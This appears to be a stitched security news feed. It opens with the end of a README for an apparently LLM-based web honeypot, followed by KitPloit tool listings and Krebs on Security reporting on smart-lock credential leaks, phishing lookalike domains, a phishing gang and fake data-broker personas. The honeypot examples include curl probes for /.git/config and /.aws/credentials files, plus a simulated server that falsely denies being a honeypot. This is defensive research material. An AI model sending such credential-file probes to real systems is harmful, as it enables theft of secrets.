    2024/01/01 04:29:10 Starting HTTPS server on port 443 with TLS profile: profile1_selfsigned

    2024/01/01 04:35:57 Received a request for "/.git/config" from [::1]:65434
    2024/01/01 04:35:57 Request cache miss for "/.git/config": Not found in cache
    2024/01/01 04:35:59 Generated HTTP response: {"Headers": {"Content-Type": "text/plain", "Server": "Apache/2.4.41 (Ubuntu)", "Status": "403 Forbidden"}, "Body": "Forbidden\nYou don't have permission to access this resource."}
    2024/01/01 04:35:59 Sending the crafted response to [::1]:65434

    ^C2024/01/01 04:39:27 Received shutdown signal. Shutting down servers...
    2024/01/01 04:39:27 All servers shut down gracefully.

    Example Responses

    Here are some example responses:

    Example 1

    % curl http://localhost:8080/login.php
    <!DOCTYPE html><html><head><title>Login Page</title></head><body><form action='/submit.php' method='post'><label for='uname'><b>Username:</b></label><br><input type='text' placeholder='Enter Username' name='uname' required><br><label for='psw'><b>Password:</b></label><br><input type='password' placeholder='Enter Password' name='psw' required><br><button type='submit'>Login</button></form></body></html>

    JSON log record:

    {"timestamp":"2024-01-01T05:38:08.854878","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"51978","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/login.php","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Content-Type":"text/html","Server":"Apache/2.4.38"},"body":"\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eLogin Page\u003c/title\u003e\u003c/head\u003e\u003cbody\u003e\u003cform action='/submit.php' method='post'\u003e\u003clabel for='uname'\u003e\u003cb\u003eUsername:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='text' placeholder='Enter Username' name='uname' required\u003e\u003cbr\u003e\u003clabel for='psw'\u003e\u003cb\u003ePassword:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='password' placeholder='Enter Password' name='psw' required\u003e\u003cbr\u003e\u003cbutton type='submit'\u003eLogin\u003c/button\u003e\u003c/form\u003e\u003c/body\u003e\u003c/html\u003e"}}

    Example 2

    % curl http://localhost:8080/.aws/credentials
    [default]
    aws_access_key_id = AKIAIOSFODNN7EXAMPLE
    aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
    region = us-west-2

    JSON log record:

    {"timestamp":"2024-01-01T05:40:34.167361","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"65311","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/.aws/credentials","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Encoding":"gzip","Content-Length":"126","Content-Type":"text/plain","Server":"Apache/2.4.51 (Unix)"},"body":"[default]\naws_access_key_id = AKIAIOSFODNN7EXAMPLE\naws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nregion = us-west-2"}}

    Okay, that was impressive!

    Example 3

    Now, let's do some sort of adversarial testing!

    % curl http://localhost:8888/are-you-a-honeypot
    No, I am a server.`

    JSON log record:

    {"timestamp":"2024-01-01T05:50:43.792479","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"61982","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/are-you-a-honeypot","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Length":"20","Content-Type":"text/plain","Server":"Apache/2.4.41 (Ubuntu)"},"body":"No, I am a server."}}

    😑

    % curl http://localhost:8888/i-mean-are-you-a-fake-server`
    No, I am not a fake server.

    JSON log record:

    {"timestamp":"2024-01-01T05:51:40.812831","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"62205","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/i-mean-are-you-a-fake-server","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Type":"text/plain","Server":"LocalHost/1.0"},"body":"No, I am not a fake server."}}

    You're a galah, mate!



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Url-Status-Checker - Tool For Swiftly Checking The Status Of URLs

    By: Zion3R — April 27th 2024 at 16:55



    Status Checker is a Python script that checks the status of one or multiple URLs/domains and categorizes them based on their HTTP status codes. Version 1.0.0 Created BY BLACK-SCORP10 t.me/BLACK-SCORP10

    Features

    • Check the status of single or multiple URLs/domains.
    • Asynchronous HTTP requests for improved performance.
    • Color-coded output for better visualization of status codes.
    • Progress bar when checking multiple URLs.
    • Save results to an output file.
    • Error handling for inaccessible URLs and invalid responses.
    • Command-line interface for easy usage.

    Installation

    1. Clone the repository:

    bash git clone https://github.com/your_username/status-checker.git cd status-checker

    1. Install dependencies:

    bash pip install -r requirements.txt

    Usage

    python status_checker.py [-h] [-d DOMAIN] [-l LIST] [-o OUTPUT] [-v] [-update]
    • -d, --domain: Single domain/URL to check.
    • -l, --list: File containing a list of domains/URLs to check.
    • -o, --output: File to save the output.
    • -v, --version: Display version information.
    • -update: Update the tool.

    Example:

    python status_checker.py -l urls.txt -o results.txt

    Preview:

    License

    This project is licensed under the MIT License - see the LICENSE file for details.



    ☐ ☆ ✇ Krebs on Security

    Crickets from Chirp Systems in Smart Lock Key Leak

    By: BrianKrebs — April 15th 2024 at 14:51

    The U.S. government is warning that “smart locks” securing entry to an estimated 50,000 dwellings nationwide contain hard-coded credentials that can be used to remotely open any of the locks. The lock’s maker Chirp Systems remains unresponsive, even though it was first notified about the critical weakness in March 2021. Meanwhile, Chirp’s parent company, RealPage, Inc., is being sued by multiple U.S. states for allegedly colluding with landlords to illegally raise rents.

    On March 7, 2024, the U.S. Cybersecurity & Infrastructure Security Agency (CISA) warned about a remotely exploitable vulnerability with “low attack complexity” in Chirp Systems smart locks.

    “Chirp Access improperly stores credentials within its source code, potentially exposing sensitive information to unauthorized access,” CISA’s alert warned, assigning the bug a CVSS (badness) rating of 9.1 (out of a possible 10). “Chirp Systems has not responded to requests to work with CISA to mitigate this vulnerability.”

    Matt Brown, the researcher CISA credits with reporting the flaw, is a senior systems development engineer at Amazon Web Services. Brown said he discovered the weakness and reported it to Chirp in March 2021, after the company that manages his apartment building started using Chirp smart locks and told everyone to install Chirp’s app to get in and out of their apartments.

    “I use Android, which has a pretty simple workflow for downloading and decompiling the APK apps,” Brown told KrebsOnSecurity. “Given that I am pretty picky about what I trust on my devices, I downloaded Chirp and after decompiling, found that they were storing passwords and private key strings in a file.”

    Using those hard-coded credentials, Brown found an attacker could then connect to an application programming interface (API) that Chirp uses which is managed by smart lock vendor August.com, and use that to enumerate and remotely lock or unlock any door in any building that uses the technology.

    Update, April 18, 11:55 a.m. ET: August has provided a statement saying it does not believe August or Yale locks are vulnerable to the hack described by Brown.

    “We were recently made aware of a vulnerability disclosure regarding access control systems provided by Chirp, using August and Yale locks in multifamily housing,” the company said. “Upon learning of these reports, we immediately and thoroughly investigated these claims. Our investigation found no evidence that would substantiate the vulnerability claims in either our product or Chirp’s as it relates to our systems.”

    Update, April 25, 2:45 p.m. ET: Based on feedback from Chirp, CISA has downgraded the severity of this flaw and revised their security advisory to say that the hard-coded credentials do not appear to expose the devices to remote locking or unlocking. CISA says the hardcoded credentials could be used by an attacker within the range of Bluetooth (~30 meters) “to change the configuration settings within the Bluetooth beacon, effectively removing Bluetooth visibility from the device. This does not affect the device’s ability to lock or unlock access points, and access points can still be operated remotely by unauthorized users via other means.”

    Brown said when he complained to his leasing office, they sold him a small $50 key fob that uses Near-Field Communications (NFC) to toggle the lock when he brings the fob close to his front door. But he said the fob doesn’t eliminate the ability for anyone to remotely unlock his front door using the exposed credentials and the Chirp mobile app.

    Also, the fobs pass the credentials to his front door over the air in plain text, meaning someone could clone the fob just by bumping against him with a smartphone app made to read and write NFC tags.

    Neither August nor Chirp Systems responded to requests for comment. It’s unclear exactly how many apartments and other residences are using the vulnerable Chirp locks, but multiple articles about the company from 2020 state that approximately 50,000 units use Chirp smart locks with August’s API.

    Roughly a year before Brown reported the flaw to Chirp Systems, the company was bought by RealPage, a firm founded in 1998 as a developer of multifamily property management and data analytics software. In 2021, RealPage was acquired by the private equity giant Thoma Bravo.

    Brown said the exposure he found in Chirp’s products is “an obvious flaw that is super easy to fix.”

    “It’s just a matter of them being motivated to do it,” he said. “But they’re part of a private equity company now, so they’re not answerable to anybody. It’s too bad, because it’s not like residents of [the affected] properties have another choice. It’s either agree to use the app or move.”

    In October 2022, an investigation by ProPublica examined RealPage’s dominance in the rent-setting software market, and that it found “uses a mysterious algorithm to help landlords push the highest possible rents on tenants.”

    “For tenants, the system upends the practice of negotiating with apartment building staff,” ProPublica found. “RealPage discourages bargaining with renters and has even recommended that landlords in some cases accept a lower occupancy rate in order to raise rents and make more money. One of the algorithm’s developers told ProPublica that leasing agents had ‘too much empathy’ compared to computer generated pricing.”

    Last year, the U.S. Department of Justice threw its weight behind a massive lawsuit filed by dozens of tenants who are accusing the $9 billion apartment software company of helping landlords collude to inflate rents.

    In February 2024, attorneys general for Arizona and the District of Columbia sued RealPage, alleging RealPage’s software helped create a rental monopoly.

    ☐ ☆ ✇ Krebs on Security

    Twitter’s Clumsy Pivot to X.com Is a Gift to Phishers

    By: BrianKrebs — April 10th 2024 at 14:28

    On April 9, Twitter/X began automatically modifying links that mention “twitter.com” to read “x.com” instead. But over the past 48 hours, dozens of new domain names have been registered that demonstrate how this change could be used to craft convincing phishing links — such as fedetwitter[.]com, which until very recently rendered as fedex.com in tweets.

    The message displayed when one visits goodrtwitter.com, which Twitter/X displayed as goodrx.com in tweets and messages.

    A search at DomainTools.com shows at least 60 domain names have been registered over the past two days for domains ending in “twitter.com,” although research so far shows the majority of these domains have been registered “defensively” by private individuals to prevent the domains from being purchased by scammers.

    Those include carfatwitter.com, which Twitter/X truncated to carfax.com when the domain appeared in user messages or tweets. Visiting this domain currently displays a message that begins, “Are you serious, X Corp?”

    Update: It appears Twitter/X has corrected its mistake, and no longer truncates any domain ending in “twitter.com” to “x.com.”

    Original story:

    The same message is on other newly registered domains, including goodrtwitter.com (goodrx.com), neobutwitter.com (neobux.com), roblotwitter.com (roblox.com), square-enitwitter.com (square-enix.com) and yandetwitter.com (yandex.com). The message left on these domains indicates they were defensively registered by a user on Mastodon whose bio says they are a systems admin/engineer. That profile has not responded to requests for comment.

    A number of these new domains including “twitter.com” appear to be registered defensively by Twitter/X users in Japan. The domain netflitwitter.com (netflix.com, to Twitter/X users) now displays a message saying it was “acquired to prevent its use for malicious purposes,” along with a Twitter/X username.

    The domain mentioned at the beginning of this story — fedetwitter.com — redirects users to the blog of a Japanese technology enthusiast. A user with the handle “amplest0e” appears to have registered space-twitter.com, which Twitter/X users would see as the CEO’s “space-x.com.” The domain “ametwitter.com” already redirects to the real americanexpress.com.

    Some of the domains registered recently and ending in “twitter.com” currently do not resolve and contain no useful contact information in their registration records. Those include firefotwitter[.]com (firefox.com), ngintwitter[.]com (nginx.com), and webetwitter[.]com (webex.com).

    The domain setwitter.com, which Twitter/X until very recently rendered as “sex.com,” redirects to this blog post warning about the recent changes and their potential use for phishing.

    Sean McNee, vice president of research and data at DomainTools, told KrebsOnSecurity it appears Twitter/X did not properly limit its redirection efforts.

    “Bad actors could register domains as a way to divert traffic from legitimate sites or brands given the opportunity — many such brands in the top million domains end in x, such as webex, hbomax, xerox, xbox, and more,” McNee said. “It is also notable that several other globally popular brands, such as Rolex and Linux, were also on the list of registered domains.”

    The apparent oversight by Twitter/X was cause for amusement and amazement from many former users who have migrated to other social media platforms since the new CEO took over. Matthew Garrett, a lecturer at U.C. Berkeley’s School of Information, summed up the Schadenfreude thusly:

    “Twitter just doing a ‘redirect links in tweets that go to x.com to twitter.com instead but accidentally do so for all domains that end x.com like eg spacex.com going to spacetwitter.com’ is not absolutely the funniest thing I could imagine but it’s high up there.”

    ☐ ☆ ✇ Krebs on Security

    ‘The Manipulaters’ Improve Phishing, Still Fail at Opsec

    By: BrianKrebs — April 3rd 2024 at 13:16

    Roughly nine years ago, KrebsOnSecurity profiled a Pakistan-based cybercrime group called “The Manipulaters,” a sprawling web hosting network of phishing and spam delivery platforms. In January 2024, The Manipulaters pleaded with this author to unpublish previous stories about their work, claiming the group had turned over a new leaf and gone legitimate. But new research suggests that while they have improved the quality of their products and services, these nitwits still fail spectacularly at hiding their illegal activities.

    In May 2015, KrebsOnSecurity published a brief writeup about the brazen Manipulaters team, noting that they openly operated hundreds of web sites selling tools designed to trick people into giving up usernames and passwords, or deploying malicious software on their PCs.

    Manipulaters advertisement for “Office 365 Private Page with Antibot” phishing kit sold on the domain heartsender,com. “Antibot” refers to functionality that attempts to evade automated detection techniques, keeping a phish deployed as long as possible. Image: DomainTools.

    The core brand of The Manipulaters has long been a shared cybercriminal identity named “Saim Raza,” who for the past decade has peddled a popular spamming and phishing service variously called “Fudtools,” “Fudpage,” “Fudsender,” “FudCo,” etc. The term “FUD” in those names stands for “Fully Un-Detectable,” and it refers to cybercrime resources that will evade detection by security tools like antivirus software or anti-spam appliances.

    A September 2021 story here checked in on The Manipulaters, and found that Saim Raza and company were prospering under their FudCo brands, which they secretly managed from a front company called We Code Solutions.

    That piece worked backwards from all of the known Saim Raza email addresses to identify Facebook profiles for multiple We Code Solutions employees, many of whom could be seen celebrating company anniversaries gathered around a giant cake with the words “FudCo” painted in icing.

    Since that story ran, KrebsOnSecurity has heard from this Saim Raza identity on two occasions. The first was in the weeks following the Sept. 2021 piece, when one of Saim Raza’s known email addresses — bluebtcus@gmail.com — pleaded to have the story taken down.

    “Hello, we already leave that fud etc before year,” the Saim Raza identity wrote. “Why you post us? Why you destroy our lifes? We never harm anyone. Please remove it.”

    Not wishing to be manipulated by a phishing gang, KrebsOnSecurity ignored those entreaties. But on Jan. 14, 2024, KrebsOnSecurity heard from the same bluebtcus@gmail.com address, apropos of nothing.

    “Please remove this article,” Sam Raza wrote, linking to the 2021 profile. “Please already my police register case on me. I already leave everything.”

    Asked to elaborate on the police investigation, Saim Raza said they were freshly released from jail.

    “I was there many days,” the reply explained. “Now back after bail. Now I want to start my new work.”

    Exactly what that “new work” might entail, Saim Raza wouldn’t say. But a new report from researchers at DomainTools.com finds that several computers associated with The Manipulaters have been massively hacked by malicious data- and password-snarfing malware for quite some time.

    DomainTools says the malware infections on Manipulaters PCs exposed “vast swaths of account-related data along with an outline of the group’s membership, operations, and position in the broader underground economy.”

    “Curiously, the large subset of identified Manipulaters customers appear to be compromised by the same stealer malware,” DomainTools wrote. “All observed customer malware infections began after the initial compromise of Manipulaters PCs, which raises a number of questions regarding the origin of those infections.”

    A number of questions, indeed. The core Manipulaters product these days is a spam delivery service called HeartSender, whose homepage openly advertises phishing kits targeting users of various Internet companies, including Microsoft 365, Yahoo, AOL, Intuit, iCloud and ID.me, to name a few.

    A screenshot of the homepage of HeartSender 4 displays an IP address tied to fudtoolshop@gmail.com. Image: DomainTools.

    HeartSender customers can interact with the subscription service via the website, but the product appears to be far more effective and user-friendly if one downloads HeartSender as a Windows executable program. Whether that HeartSender program was somehow compromised and used to infect the service’s customers is unknown.

    However, DomainTools also found the hosted version of HeartSender service leaks an extraordinary amount of user information that probably is not intended to be publicly accessible. Apparently, the HeartSender web interface has several webpages that are accessible to unauthenticated users, exposing customer credentials along with support requests to HeartSender developers.

    “Ironically, the Manipulaters may create more short-term risk to their own customers than law enforcement,” DomainTools wrote. “The data table “User Feedbacks” (sic) exposes what appear to be customer authentication tokens, user identifiers, and even a customer support request that exposes root-level SMTP credentials–all visible by an unauthenticated user on a Manipulaters-controlled domain. Given the risk for abuse, this domain will not be published.”

    This is hardly the first time The Manipulaters have shot themselves in the foot. In 2019, The Manipulaters failed to renew their core domain name — manipulaters[.]com — the same one tied to so many of the company’s past and current business operations. That domain was quickly scooped up by Scylla Intel, a cyber intelligence firm that focuses on connecting cybercriminals to their real-life identities.

    Currently, The Manipulaters seem focused on building out and supporting HeartSender, which specializes in spam and email-to-SMS spamming services.

    “The Manipulaters’ newfound interest in email-to-SMS spam could be in response to the massive increase in smishing activity impersonating the USPS,” DomainTools wrote. “Proofs posted on HeartSender’s Telegram channel contain numerous references to postal service impersonation, including proving delivery of USPS-themed phishing lures and the sale of a USPS phishing kit.”

    Reached via email, the Saim Raza identity declined to respond to questions about the DomainTools findings.

    “First [of] all we never work on virus or compromised computer etc,” Raza replied. “If you want to write like that fake go ahead. Second I leave country already. If someone bind anything with exe file and spread on internet its not my fault.”

    Asked why they left Pakistan, Saim Raza said the authorities there just wanted to shake them down.

    “After your article our police put FIR on my [identity],” Saim Raza explained. “FIR” in this case stands for “First Information Report,” which is the initial complaint in the criminal justice system of Pakistan.

    “They only get money from me nothing else,” Saim Raza continued. “Now some officers ask for money again again. Brother, there is no good law in Pakistan just they need money.”

    Saim Raza has a history of being slippery with the truth, so who knows whether The Manipulaters and/or its leaders have in fact fled Pakistan (it may be more of an extended vacation abroad). With any luck, these guys will soon venture into a more Western-friendly, “good law” nation and receive a warm welcome by the local authorities.

    ☐ ☆ ✇ ToolsWatch.org – The Hackers Arsenal Tools Portal

    Strengthening Security: ToolsWatch Welcomes Dr. Magda Lilia Chelly and Vivek Ramachandran to Black Hat Arsenal’s Board of Review

    By: NJ Ouchn — March 29th 2024 at 16:10
    In the ever-evolving landscape of cybersecurity, staying ahead of the curve is paramount. As digital
    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Noia - Simple Mobile Applications Sandbox File Browser Tool

    By: Zion3R — March 27th 2024 at 11:30


    Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re.

    Please note that I'm not a programmer, but I'm probably above the median in code-savyness. Try it out, open an issue if you find any problems. PRs are welcome.


    Installation & Usage

    npm install -g noia
    noia

    Features

    • Explore third-party applications files and directories. Noia shows you details including the access permissions, file type and much more.

    • View custom binary files. Directly preview SQLite databases, images, and more.

    • Search application by name.

    • Search files and directories by name.

    • Navigate to a custom directory using the ctrl+g shortcut.

    • Download the application files and directories for further analysis.

    • Basic iOS support

    and more


    Setup

    Desktop requirements:

    • node.js LTS and npm
    • Any decent modern desktop browser

    Noia is available on npm, so just type the following command to install it and run it:

    npm install -g noia
    noia

    Device setup:

    Noia is powered by frida.re, thus requires Frida to run.

    Rooted Device

    See: * https://frida.re/docs/android/ * https://frida.re/docs/ios/

    Non-rooted Device

    • https://koz.io/using-frida-on-android-without-root/
    • https://github.com/sensepost/objection/wiki/Patching-Android-Applications
    • https://nowsecure.com/blog/2020/01/02/how-to-conduct-jailed-testing-with-frida/

    Security Warning

    This tool is not secure and may include some security vulnerabilities so make sure to isolate the webpage from potential hackers.

    LICENCE

    MIT



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Skytrack - Planespotting And Aircraft OSINT Tool Made Using Python

    By: Zion3R — March 22nd 2024 at 11:30

    About

    skytrack is a command-line based plane spotting and aircraft OSINT reconnaissance tool made using Python. It can gather aircraft information using various data sources, generate a PDF report for a specified aircraft, and convert between ICAO and Tail Number designations. Whether you are a hobbyist plane spotter or an experienced aircraft analyst, skytrack can help you identify and enumerate aircraft for general purpose reconnaissance.


    What is Planespotting & Aircraft OSINT?

    Planespotting is the art of tracking down and observing aircraft. While planespotting mostly consists of photography and videography of aircraft, aircraft information gathering and OSINT is a crucial step in the planespotting process. OSINT (Open Source Intelligence) describes a methodology of using publicy accessible data sources to obtain data about a specific subject — in this case planes!

    Aircraft Information

    • Tail Number 🛫
    • Aircraft Type ⚙️
    • ICAO24 Designation 🔎
    • Manufacturer Details 🛠
    • Flight Logs 📄
    • Aircraft Owner ✈️
    • Model 🛩
    • Much more!

    Usage

    To run skytrack on your machine, follow the steps below:

    $ git clone https://github.com/ANG13T/skytrack
    $ cd skytrack
    $ pip install -r requirements.txt
    $ python skytrack.py

    skytrack works best for Python version 3.

    Preview

    Features

    skytrack features three main functions for aircraft information

    gathering and display options. They include the following:

    Aircraft Reconnaissance & OSINT

    skytrack obtains general information about the aircraft given its tail number or ICAO designator. The tool sources this information using several reliable data sets. Once the data is collected, it is displayed in the terminal within a table layout.

    PDF Aircraft Information Report

    skytrack also enables you the save the collected aircraft information into a PDF. The PDF includes all the aircraft data in a visual layout for later reference. The PDF report will be entitled "skytrack_report.pdf"

    Tail Number to ICAO Converter

    There are two standard identification formats for specifying aircraft: Tail Number and ICAO Designation. The tail number (aka N-Number) is an alphanumerical ID starting with the letter "N" used to identify aircraft. The ICAO type designation is a six-character fixed-length ID in the hexadecimal format. Both standards are highly pertinent for aircraft

    reconnaissance as they both can be used to search for a specific aircraft in data sources. However, converting them from one format to another can be rather cumbersome as it follows a tricky algorithm. To streamline this process, skytrack includes a standard converter.

    Further Explanation

    ICAO and Tail Numbers follow a mapping system like the following:

    ICAO address N-Number (Tail Number)

    a00001 N1

    a00002 N1A

    a00003 N1AA

    You can learn more about aircraft registration numbers [here](https://www.faa.gov/licenses_certificates/aircraft_certification/aircraft_registry/special_nnumbers)

    :warning: Converter only works for USA-registered aircraft

    Data Sources & APIs Used

    ICAO Aircraft Type Designators Listings

    FlightAware

    Wikipedia

    Aviation Safety Website

    Jet Photos Website

    OpenSky API

    Aviation Weather METAR

    Airport Codes Dataset

    Contributing

    skytrack is open to any contributions. Please fork the repository and make a pull request with the features or fixes you want to implement.

    Upcoming

    • Obtain Latest Flown Airports
    • Obtain Airport Information
    • Obtain ATC Frequency Information

    Support

    If you enjoyed skytrack, please consider becoming a sponsor or donating on buymeacoffee in order to fund my future projects.

    To check out my other works, visit my GitHub profile.



    ☐ ☆ ✇ Krebs on Security

    The Not-so-True People-Search Network from China

    By: BrianKrebs — March 21st 2024 at 03:18

    It’s not unusual for the data brokers behind people-search websites to use pseudonyms in their day-to-day lives (you would, too). Some of these personal data purveyors even try to reinvent their online identities in a bid to hide their conflicts of interest. But it’s not every day you run across a US-focused people-search network based in China whose principal owners all appear to be completely fabricated identities.

    Responding to a reader inquiry concerning the trustworthiness of a site called TruePeopleSearch[.]net, KrebsOnSecurity began poking around. The site offers to sell reports containing photos, police records, background checks, civil judgments, contact information “and much more!” According to LinkedIn and numerous profiles on websites that accept paid article submissions, the founder of TruePeopleSearch is Marilyn Gaskell from Phoenix, Ariz.

    The saucy yet studious LinkedIn profile for Marilyn Gaskell.

    Ms. Gaskell has been quoted in multiple “articles” about random subjects, such as this article at HRDailyAdvisor about the pros and cons of joining a company-led fantasy football team.

    “Marilyn Gaskell, founder of TruePeopleSearch, agrees that not everyone in the office is likely to be a football fan and might feel intimidated by joining a company league or left out if they don’t join; however, her company looked for ways to make the activity more inclusive,” this paid story notes.

    Also quoted in this article is Sally Stevens, who is cited as HR Manager at FastPeopleSearch[.]io.

    Sally Stevens, the phantom HR Manager for FastPeopleSearch.

    “Fantasy football provides one way for employees to set aside work matters for some time and have fun,” Stevens contributed. “Employees can set a special league for themselves and regularly check and compare their scores against one another.”

    Imagine that: Two different people-search companies mentioned in the same story about fantasy football. What are the odds?

    Both TruePeopleSearch and FastPeopleSearch allow users to search for reports by first and last name, but proceeding to order a report prompts the visitor to purchase the file from one of several established people-finder services, including BeenVerified, Intelius, and Spokeo.

    DomainTools.com shows that both TruePeopleSearch and FastPeopleSearch appeared around 2020 and were registered through Alibaba Cloud, in Beijing, China. No other information is available about these domains in their registration records, although both domains appear to use email servers based in China.

    Sally Stevens’ LinkedIn profile photo is identical to a stock image titled “beautiful girl” from Adobe.com. Ms. Stevens is also quoted in a paid blog post at ecogreenequipment.com, as is Alina Clark, co-founder and marketing director of CocoDoc, an online service for editing and managing PDF documents.

    The profile photo for Alina Clark is a stock photo appearing on more than 100 websites.

    Scouring multiple image search sites reveals Ms. Clark’s profile photo on LinkedIn is another stock image that is currently on more than 100 different websites, including Adobe.com. Cocodoc[.]com was registered in June 2020 via Alibaba Cloud Beijing in China.

    The same Alina Clark and photo materialized in a paid article at the website Ceoblognation, which in 2021 included her at #11 in a piece called “30 Entrepreneurs Describe The Big Hairy Audacious Goals (BHAGs) for Their Business.” It’s also worth noting that Ms. Clark is currently listed as a “former Forbes Council member” at the media outlet Forbes.com.

    Entrepreneur #6 is Stephen Curry, who is quoted as CEO of CocoSign[.]com, a website that claims to offer an “easier, quicker, safer eSignature solution for small and medium-sized businesses.” Incidentally, the same photo for Stephen Curry #6 is also used in this “article” for #22 Jake Smith, who is named as the owner of a different company.

    Stephen Curry, aka Jake Smith, aka no such person.

    Mr. Curry’s LinkedIn profile shows a young man seated at a table in front of a laptop, but an online image search shows this is another stock photo. Cocosign[.]com was registered in June 2020 via Alibaba Cloud Beijing. No ownership details are available in the domain registration records.

    Listed at #13 in that 30 Entrepreneurs article is Eden Cheng, who is cited as co-founder of PeopleFinderFree[.]com. KrebsOnSecurity could not find a LinkedIn profile for Ms. Cheng, but a search on her profile image from that Entrepreneurs article shows the same photo for sale at Shutterstock and other stock photo sites.

    DomainTools says PeopleFinderFree was registered through Alibaba Cloud, Beijing. Attempts to purchase reports through PeopleFinderFree produce a notice saying the full report is only available via Spokeo.com.

    Lynda Fairly is Entrepreneur #24, and she is quoted as co-founder of Numlooker[.]com, a domain registered in April 2021 through Alibaba in China. Searches for people on Numlooker forward visitors to Spokeo.

    The photo next to Ms. Fairly’s quote in Entrepreneurs matches that of a LinkedIn profile for Lynda Fairly. But a search on that photo shows this same portrait has been used by many other identities and names, including a woman from the United Kingdom who’s a cancer survivor and mother of five; a licensed marriage and family therapist in Canada; a software security engineer at Quora; a journalist on Twitter/X; and a marketing expert in Canada.

    Cocofinder[.]com is a people-search service that launched in Sept. 2019, through Alibaba in China. Cocofinder lists its market officer as Harriet Chan, but Ms. Chan’s LinkedIn profile is just as sparse on work history as the other people-search owners mentioned already. An image search online shows that outside of LinkedIn, the profile photo for Ms. Chan has only ever appeared in articles at pay-to-play media sites, like this one from outbackteambuilding.com.

    Perhaps because Cocodoc and Cocosign both sell software services, they are actually tied to a physical presence in the real world — in Singapore (15 Scotts Rd. #03-12 15, Singapore). But it’s difficult to discern much from this address alone.

    Who’s behind all this people-search chicanery? A January 2024 review of various people-search services at the website techjury.com states that Cocofinder is a wholly-owned subsidiary of a Chinese company called Shenzhen Duiyun Technology Co.

    “Though it only finds results from the United States, users can choose between four main search methods,” Techjury explains. Those include people search, phone, address and email lookup. This claim is supported by a Reddit post from three years ago, wherein the Reddit user “ProtectionAdvanced” named the same Chinese company.

    Is Shenzhen Duiyun Technology Co. responsible for all these phony profiles? How many more fake companies and profiles are connected to this scheme? KrebsOnSecurity found other examples that didn’t appear directly tied to other fake executives listed here, but which nevertheless are registered through Alibaba and seek to drive traffic to Spokeo and other data brokers. For example, there’s the winsome Daniela Sawyer, founder of FindPeopleFast[.]net, whose profile is flogged in paid stories at entrepreneur.org.

    Google currently turns up nothing else for in a search for Shenzhen Duiyun Technology Co. Please feel free to sound off in the comments if you have any more information about this entity, such as how to contact it. Or reach out directly at krebsonsecurity @ gmail.com.

    A mind map highlighting the key points of research in this story. Click to enlarge. Image: KrebsOnSecurity.com

    ANALYSIS

    It appears the purpose of this network is to conceal the location of people in China who are seeking to generate affiliate commissions when someone visits one of their sites and purchases a people-search report at Spokeo, for example. And it is clear that Spokeo and others have created incentives wherein anyone can effectively white-label their reports, and thereby make money brokering access to peoples’ personal information.

    Spokeo’s Wikipedia page says the company was founded in 2006 by four graduates from Stanford University. Spokeo co-founder and current CEO Harrison Tang has not yet responded to requests for comment.

    Intelius is owned by San Diego based PeopleConnect Inc., which also owns Classmates.com, USSearch, TruthFinder and Instant Checkmate. PeopleConnect Inc. in turn is owned by H.I.G. Capital, a $60 billion private equity firm. Requests for comment were sent to H.I.G. Capital. This story will be updated if they respond.

    BeenVerified is owned by a New York City based holding company called The Lifetime Value Co., a marketing and advertising firm whose brands include PeopleLooker, NeighborWho, Ownerly, PeopleSmart, NumberGuru, and Bumper, a car history site.

    Ross Cohen, chief operating officer at The Lifetime Value Co., said it’s likely the network of suspicious people-finder sites was set up by an affiliate. Cohen said Lifetime Value would investigate to determine if this particular affiliate was driving them any sign-ups.

    All of the above people-search services operate similarly. When you find the person you’re looking for, you are put through a lengthy (often 10-20 minute) series of splash screens that require you to agree that these reports won’t be used for employment screening or in evaluating new tenant applications. Still more prompts ask if you are okay with seeing “potentially shocking” details about the subject of the report, including arrest histories and photos.

    Only at the end of this process does the site disclose that viewing the report in question requires signing up for a monthly subscription, which is typically priced around $35. Exactly how and from where these major people-search websites are getting their consumer data — and customers — will be the subject of further reporting here.

